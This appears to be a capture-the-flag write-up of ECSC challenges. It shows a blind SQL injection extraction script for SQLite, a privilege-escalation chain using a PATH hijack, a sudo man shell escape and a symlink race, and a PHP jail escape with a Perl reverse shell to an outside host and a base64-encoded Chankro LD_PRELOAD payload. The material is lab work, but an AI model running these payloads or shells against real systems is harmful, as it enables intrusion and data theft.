1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ... def read_string (uri, http, req, length, wanted ) content = "" ecsc_flag_charset = (" " .."~" ).to_a.push("\n" ) puts "Beginning to retrive content" while content.length < length ecsc_flag_charset.each do |c | tmp = content + c payload = "' or substr((SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'')),'TEXT',''),'INTEGER',''),'AUTOINCREMENT',''),'PRIMARY KEY',''),'UNIQUE',''),'NUMERIC',''),'REAL',''),'BLOB',''),'NOT NULL',''),',','~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_\%' AND name ='flag' LIMIT 1 OFFSET 0), #{tmp.length} , 1) == \"#{tmp[tmp.length-1 ]} \"-- -#{wanted} " if check_expression(uri, http, req, payload) content += c puts content break elsif c == "\n" content += "*" end end end return content end payload = "admin' and length((SELECT replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')+1)),instr((substr(sql,instr(sql,'(')+1)),'')),'TEXT',''),'INTEGER',''),'AUTOINCREMENT',''),'PRIMARY KEY',''),'UNIQUE',''),'NUMERIC',''),'REAL',''),'BLOB',''),'NOT NULL',''),',','~~') FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%%' AND name ='flag' LIMIT 1 OFFSET 0)) < %i-- -" column_length = get_length(uri, http, req, payload) puts "flag length: #{column_length} " column = read_string(uri, http, req, column_length, 'flag' ) puts 'Column: ' .concat(column)
No luck there is no other column in this table.
Let's find another table:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ... def read_string (uri, http, req, length, wanted ) content = "" ecsc_flag_charset = (" " .."~" ).to_a.push("\n" ) puts "Beginning to retrive content" while content.length < length ecsc_flag_charset.each do |c | tmp = content + c payload = "admin' and substr((SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%%' AND tbl_name NOT LIKE 'flag' LIMIT 1 OFFSET 0), #{tmp.length} , 1) == \"#{tmp[tmp.length-1 ]} \"-- -#{wanted} " if check_expression(uri, http, req, payload) content += c puts content break elsif c == "\n" content += "*" end end end return content end payload = "admin' and length((SELECT tbl_name FROM sqlite_master WHERE type='table' AND tbl_name NOT like 'sqlite_%%' AND tbl_name NOT LIKE 'flag' LIMIT 1 OFFSET 0)) < %i-- -" table_length = get_length(uri, http, req, payload) puts "flag length: #{table_length} " table = read_string(uri, http, req, table_length, 'flag' ) puts 'Flag: ' .concat(table)
Tables:
WAIIIIIIIIIT!!! I was using port 8003 instead of 8004!
=> Launch back on port 8004.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 ruby tmp/blind.rb flag length: 46 Beginning to retrive content E EC ECS ECSC ECSC{ ECSC{3 ECSC{3f ECSC{3f6 ECSC{3f65 ECSC{3f65e ECSC{3f65e0 ECSC{3f65e0e ECSC{3f65e0e1 ECSC{3f65e0e1d ECSC{3f65e0e1d4 ECSC{3f65e0e1d45 ECSC{3f65e0e1d453 ECSC{3f65e0e1d453f ECSC{3f65e0e1d453f6 ECSC{3f65e0e1d453f6c ECSC{3f65e0e1d453f6c8 ECSC{3f65e0e1d453f6c8a ECSC{3f65e0e1d453f6c8a7 ECSC{3f65e0e1d453f6c8a79 ECSC{3f65e0e1d453f6c8a79a ECSC{3f65e0e1d453f6c8a79a9 ECSC{3f65e0e1d453f6c8a79a90 ECSC{3f65e0e1d453f6c8a79a901 ECSC{3f65e0e1d453f6c8a79a9013 ECSC{3f65e0e1d453f6c8a79a90131 ECSC{3f65e0e1d453f6c8a79a90131a ECSC{3f65e0e1d453f6c8a79a90131ae ECSC{3f65e0e1d453f6c8a79a90131aef ECSC{3f65e0e1d453f6c8a79a90131aef1 ECSC{3f65e0e1d453f6c8a79a90131aef13 ECSC{3f65e0e1d453f6c8a79a90131aef133 ECSC{3f65e0e1d453f6c8a79a90131aef1332 ECSC{3f65e0e1d453f6c8a79a90131aef13326 ECSC{3f65e0e1d453f6c8a79a90131aef13326a ECSC{3f65e0e1d453f6c8a79a90131aef13326a9 ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0 ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0b ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0be ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea} Flag: ECSC{3f65e0e1d453f6c8a79a90131aef13326a9a0bea}
At least I learned more about SQLite! I feel so ashamed, it is not profesionnal to attack the wrong target.
243 - privesc101 - System
Le flag est dans /home/user3/flag. À vous de trouver comment y accéder !
Connectez-vous avec la commande suivante :
ssh -p 4000 user0@challenges.ecsc-teamfrance.fr
Le mot de passe est user0.
Note : Il est normal que /home/user1/ soit vide.
What are we up to?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 $ user0@privesc101:~$ ls -RlhA /home/ /home/: total 16K drwxr-xr-x 1 root user0 4.0K May 13 23:59 user0 drwxr-xr-x 1 root user1 4.0K May 13 23:59 user1 drwxr-xr-x 1 root user2 4.0K May 13 23:59 user2 drwxr-xr-x 1 user3 user3 4.0K May 13 23:59 user3 /home/user0: total 24K -rw-r--r-- 1 root user0 220 May 15 2017 .bash_logout -rw-r--r-- 1 root user0 3.5K May 15 2017 .bashrc -rw-r--r-- 1 root user0 675 May 15 2017 .profile -r--r-sr-x 1 root user1 8.6K May 13 23:59 stage0 /home/user1: total 12K -rw-r--r-- 1 root user1 220 May 15 2017 .bash_logout -rw-r--r-- 1 root user1 3.5K May 15 2017 .bashrc -rw-r--r-- 1 root user1 675 May 15 2017 .profile /home/user2: total 28K -rw-r--r-- 1 root user2 220 May 15 2017 .bash_logout -rw-r--r-- 1 root user2 3.5K May 15 2017 .bashrc -rw-r--r-- 1 root user2 675 May 15 2017 .profile -r-S--s--- 1 user3 user2 8.8K May 13 23:59 stage2 -r--r----- 1 root user2 538 May 13 23:58 stage2.c /home/user3: total 16K -rw-r--r-- 1 user3 user3 220 May 15 2017 .bash_logout -rw-r--r-- 1 user3 user3 3.5K May 15 2017 .bashrc -rw-r--r-- 1 user3 user3 675 May 15 2017 .profile -r--r----- 1 user3 user3 47 May 13 23:58 flag
Seems straightforward.
1 2 3 4 $ strings stage0 ... ls /home/user3 ...
Wait for the PATH bypass EoP (isn't that abbreviation sexier than privsec?).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 user0@privesc101:~$ id # check who I am uid=999(user0) gid=999(user0) groups=999(user0) user0@privesc101:~$ alias # be carefull alias ls='ls --color=auto' user0@privesc101:~$ unalias ls user0@privesc101:~$ mkdir /tmp/noraj # here we can write user0@privesc101:~$ vim /tmp/noraj/ls # vim > emacs user0@privesc101:~$ cat /tmp/noraj/ls #!/bin/sh /bin/bash -i user0@privesc101:~$ chmod +x /tmp/noraj/ls user0@privesc101:~$ PATH="/tmp/noraj:$PATH" ./stage0 user0@privesc101:~$ id # Next level uid=999(user0) gid=998(user1) groups=998(user1),999(user0) user0@privesc101:~$ export PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" # restore the PATH user0@privesc101:~$ sudo -l # We'll definitly mess with that classic bang User user0 may run the following commands on privesc101: (user0 : user2) NOPASSWD: /usr/bin/man ls user0@privesc101:~$ sudo -u user0 -g user2 /usr/bin/man ls # sudo bring me coffee !/bin/bash user0@privesc101:~$ id # yeah I still don't know who I am uid=999(user0) gid=997(user2) groups=997(user2),998(user1),999(user0) user0@privesc101:~$ ls -lh /home/user2 # pay attention to privilegies total 16K -r-S--s--- 1 user3 user2 8.8K May 13 23:59 stage2 -r--r----- 1 root user2 538 May 13 23:58 stage2.c user0@privesc101:~$ ls -lh /home/user3/flag # this flag is not so readable for us right now -r--r----- 1 user3 user3 47 May 13 23:58 /home/user3/flag user0@privesc101:~$ cat /home/user2/stage2.c #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <stdio.h> int main(int argc, char *argv[]) { FILE *f; struct stat buf; if (argc < 2) { printf("Usage : ./stage2 path\n"); return -1; } if (stat(argv[1], &buf) != 0 || buf.st_uid != getuid()) { printf("You must own the file.\n"); return -2; } f = fopen(argv[1], "r"); if (f == NULL) return -3; char c; printf("%s\n", argv[1]); while((c = fgetc(f)) != EOF) printf("%c", c); fclose(f); return 0; }
Race condition baby: https://www.win.tue.nl/~aeb/linux/hh/hh-9.html
1 2 3 4 5 6 7 #!/bin/sh touch /tmp/noraj/user2while true ; do ln -sf /tmp/noraj/user2 /tmp/noraj/foo.txt & /home/user2/stage2 /tmp/noraj/foo.txt & ln -sf /home/user3/flag /tmp/noraj/foo.txt done
Let's run faster (even if the turtle started before us).
1 2 3 4 5 6 7 8 9 /tmp/noraj/foo.txt ECSC{a311360c0ba098d449f6599bfacbd78da2884024} You must own the file. You must own the file. rm: cannot remove '/tmp/noraj/foo.txt': No such file or directory You must own the file. You must own the file. You must own the file. You must own the file.
The turtle was wrong.
288 - PHP Jail - Jail
We have to know our environment:
var_dump(phpinfo());
=> Tons of disabled functions and classes => it will be possible to read files but not to list directory content.
sendmail_path => /usr/sbin/sendmail -t -i => /usr/sbin/sendmail -t -i
Oh yeah we know this sound like Chankro and LD_PRELOAD bypass.
highlight_file('/home/user0/server.py');
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import configimport programimport loggingimport socketimport syslogger = logging.getLogger('server' ) logger.info('Server started' ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(config.SOCKET_TIMEOUT) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1 ) logger.debug('Socket created' ) s.bind((config.LISTEN_ADDRESS, config.LISTEN_PORT)) s.listen(config.MAX_CLIENTS) logger.debug('Socket configured' ) activeClients = [] logger.info('Waiting for clients' ) while True : for client in activeClients: if not client.alive: activeClients.remove(client) try : clientSock, clientAddr = s.accept() logger.debug('Client (%s, %d) connected - %d active clients' % (clientAddr[0 ], clientAddr[1 ], len (activeClients))) sh = program.SocketHandler(clientSock, clientAddr) activeClients.append(sh) sh.daemon = True sh.start() except socket.timeout: logger.debug('No client accepted within %d seconds - %d active clients' % (config.SOCKET_TIMEOUT, len (activeClients)))
import program
not in stdlib so let's take a look at program.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 import hashlibimport loggingimport randomimport socketimport threadingimport timeimport osimport configfrom pwn import *class SocketHandler (threading.Thread): def __init__ (self, client, addr ): threading.Thread.__init__(self) self.__threadname = hashlib.new('sha1' , str (time.time())).hexdigest()[:6 ] self.__client = client self.__addr = addr self.__logger = logging.getLogger('client.%s' % self.__threadname) self.alive = True self.__client.settimeout(config.SOCKET_TIMEOUT) self.__logger.info('Client (%s, %d) joined' % self.__addr) def send (self, data ): self.__client.send(data) self.__logger.debug('Sent "%s" to client' % data.replace('\n' , '\\n' )) def recv (self, l=1024 ): buffer = '' while True : data = self.__client.recv(l) if data == '' or data is None : raise socket.error buffer += data if len (buffer)>l: buffer = buffer[:l] break self.__logger.debug('Recvd "%s" from client' % data.replace('\n' , '\\n' )) return data def run (self ): try : self.send( ''' /// PHP JAIL //// There's a file named flag on this filesystem. Find it. Read it. Flag it. ''' ) io = process(['/usr/bin/php' , '/home/user0/main.php' ]) rem = remote.fromsocket(self.__client) phpdata = io.recvuntil(': ' ) self.send(phpdata) userdata = '' MAX_LEN=32768 while True : data = rem.recv(1024 , timeout=config.SOCKET_TIMEOUT) if data == '' : break userdata += data if len (userdata)>MAX_LEN: self.send('\nPayload too long, truncated at %d bytes\n' % MAX_LEN) userdata = userdata[:MAX_LEN] break if userdata.strip()=='' : self.send('\nToo slow!\n' ) else : io.send(userdata) phpdata = '' while True : try : data = io.recv(1024 , timeout=config.SOCKET_TIMEOUT) if data == '' : break phpdata += data except EOFError: break self.send(phpdata) self.send('\n' ) self.send('Bye!\n' ) io.close() except socket.error, e: self.__logger.info('Client disconnected' ) try : self.send('You have been disconnected...' ) except : pass except Exception, e: self.__logger.critical('Unknown error: "%s"' % str (e)) try : io.close() except : pass self.__exit() return def __exit (self ): self.__client.close() self.__logger.info('Exiting' ) self.alive = False if __name__=='__main__' : pass
Boriiiiiiiing!
/home/user0/main.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php echo "Enter your command: " ; $command = readline ();try { @eval ('fclose(STDERR); ' .$command ); } catch (ParseError $e ) { die ('Parse error, or something.' ); } ?>
Action!
OK, let's use Chankro again and a perl revere shell, why should I change?
1 2 3 4 5 $ cat /tmp/script.sh #!/bin/sh perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:53333");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' $ chankro --arch 64 --input /tmp/script.sh --output chankro.php --path /tmp
Remove the php tags and put that in a file send.txt
1 $hook = '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BwAAAAwAAAAAAAAAAAAAAEiD7AhIiwW9CCAASIXAdAL/0EiDxAjDAP810gggAP8l1AggAA8fQAD/JdIIIABoAAAAAOng/////yXKCCAAaAEAAADp0P////8lwgggAGgCAAAA6cD/////JboIIABoAwAAAOmw/////yWyCCAAaAQAAADpoP////8lqgggAGgFAAAA6ZD/////JaIIIABoBgAAAOmA/////yWaCCAAaAcAAADpcP////8lkgggAGgIAAAA6WD/////JSIIIABmkAAAAAAAAAAASI09gQggAEiNBYEIIABVSCn4SInlSIP4DnYVSIsF1gcgAEiFwHQJXf/gZg8fRAAAXcMPH0AAZi4PH4QAAAAAAEiNPUEIIABIjTU6CCAAVUgp/kiJ5UjB/gNIifBIweg/SAHGSNH+dBhIiwWhByAASIXAdAxd/+BmDx+EAAAAAABdww8fQABmLg8fhAAAAAAAgD3xByAAAHUnSIM9dwcgAABVSInldAxIiz3SByAA6D3////oSP///13GBcgHIAAB88MPH0AAZi4PH4QAAAAAAEiNPVkFIABIgz8AdQvpXv///2YPH0QAAEiLBRkHIABIhcB06VVIieX/0F3pQP///1VIieVIjT16AAAA6FD+//++/wEAAEiJx+iT/v//SI09YQAAAOg3/v//SInH6E/+//+QXcNVSInlvgEAAAC/AQAAAOhZ/v//6JT+//+FwHQKvwAAAADodv7//5Bdw1VIieVIjT0lAAAA6FP+///o/v3//+gZ/v//kF3DAABIg+wISIPECMNDSEFOS1JPAExEX1BSRUxPQUQAARsDOzQAAAAFAAAAuP3//1AAAABY/v//eAAAAGj///+QAAAAnP///7AAAADF////0AAAAAAAAAAUAAAAAAAAAAF6UgABeBABGwwHCJABAAAkAAAAHAAAAGD9//+gAAAAAA4QRg4YSg8LdwiAAD8aOyozJCIAAAAAFAAAAEQAAADY/f//CAAAAAAAAAAAAAAAHAAAAFwAAADQ/v//NAAAAABBDhCGAkMNBm8MBwgAAAAcAAAAfAAAAOT+//8pAAAAAEEOEIYCQw0GZAwHCAAAABwAAACcAAAA7f7//x0AAAAAQQ4QhgJDDQZYDAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAsAgAAAAAAAAAAAAAAAAAAHAIAAAAAAAA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ZQkAAAAAAAATAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAIsAAAABAAAAAgAAAAAAAAB4CQAAAAAAAHgJAAAAAAAANAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAACZAAAAAQAAAAIAAAAAAAAAsAkAAAAAAACwCQAAAAAAALwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAowAAAA4AAAADAAAAAAAAAPgNIAAAAAAA+A0AAAAAAAAQAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAK8AAAAPAAAAAwAAAAAAAAAIDiAAAAAAAAgOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAAC7AAAAAQAAAAMAAAAAAAAAEA4gAAAAAAAQDgAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwAAAAAYAAAADAAAAAAAAABgOIAAAAAAAGA4AAAAAAADAAQAAAAAAAAQAAAAAAAAACAAAAAAAAAAQAAAAAAAAAHIAAAABAAAAAwAAAAAAAADYDyAAAAAAANgPAAAAAAAAKAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADJAAAAAQAAAAMAAAAAAAAAABAgAAAAAAAAEAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA0gAAAAEAAAADAAAAAAAAAGAQIAAAAAAAYBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAANgAAAAIAAAAAwAAAAAAAABoECAAAAAAAGgQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAADdAAAAAQAAADAAAAAAAAAAAAAAAAAAAABoEAAAAAAAAC0AAAAAAAAAAAAAAAAAAAABAAAAAAAA